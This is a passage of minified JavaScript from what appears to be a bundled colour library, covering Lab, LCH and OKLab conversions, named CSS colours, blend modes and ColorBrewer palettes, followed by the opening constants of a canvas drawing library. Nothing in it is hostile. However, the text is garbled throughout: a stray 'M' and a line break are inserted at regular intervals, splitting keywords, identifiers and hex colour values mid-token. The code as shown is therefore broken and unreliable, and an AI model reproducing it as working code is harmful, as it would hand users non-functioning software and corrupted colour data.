r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
